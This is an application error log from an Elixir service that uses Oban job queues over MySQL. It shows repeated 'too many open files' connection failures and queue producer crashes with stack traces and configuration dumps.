State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:48:00.239991Z], limit: 3, uuid: "dfa4f42e-8e40-4102-9d1a-eb5df165a6cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:00.239999Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.217763>, refresh_timer: #Reference<0.2525715032.1077411843.217762>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:14.168000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:14.616000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:15.060000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:17.482000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:17.520000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:21.855000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:48:12.238178Z], limit: 10, uuid: "7cd1c6d3-379a-4ff7-975d-84ae0d17f5e9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:12.238184Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236061>, refresh_timer: #Reference<0.2525715032.1099169794.244408>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:48:12.239854Z], limit: 5, uuid: "6be249b8-182e-45b7-ad3b-bbf30d117004", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:12.239859Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236058>, refresh_timer: #Reference<0.2525715032.1068236804.236025>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:48:12.241354Z], limit: 3, uuid: "00c20e47-70dd-4898-ba02-c36587a333f6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:12.241360Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236062>, refresh_timer: #Reference<0.2525715032.1099169794.244430>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:24.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:48:12.240056Z], limit: 5, uuid: "d706f2a8-5425-4bab-aee2-b88349b3a063", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:12.240061Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236060>, refresh_timer: #Reference<0.2525715032.1121189889.94683>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:24.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 887ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:48:12.239606Z], limit: 50, uuid: "151ff97d-b9ef-4fa4-9040-e2eb0c10b600", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:12.239612Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236059>, refresh_timer: #Reference<0.2525715032.1068236804.236020>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:24.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:48:12.240067Z], limit: 20, uuid: "340e7d2f-ffe3-4649-900d-1eee149e34c6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:12.240072Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236057>, refresh_timer: #Reference<0.2525715032.1068236804.236038>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:25.468000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:27.708000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:30.022000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:30.049000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:31.058000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:34.214000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:34.861000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:48:24.241443Z], limit: 50, uuid: "5a4032a6-3b60-467e-802b-af4236e46301", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:24.241448Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236348>, refresh_timer: #Reference<0.2525715032.1077411843.218439>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:48:24.240343Z], limit: 5, uuid: "cc7f45f8-16c7-4271-a4c9-8d1971aa8599", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:24.240348Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236347>, refresh_timer: #Reference<0.2525715032.1077411843.218423>, dispatch_cooldown: 5, running: %{}}
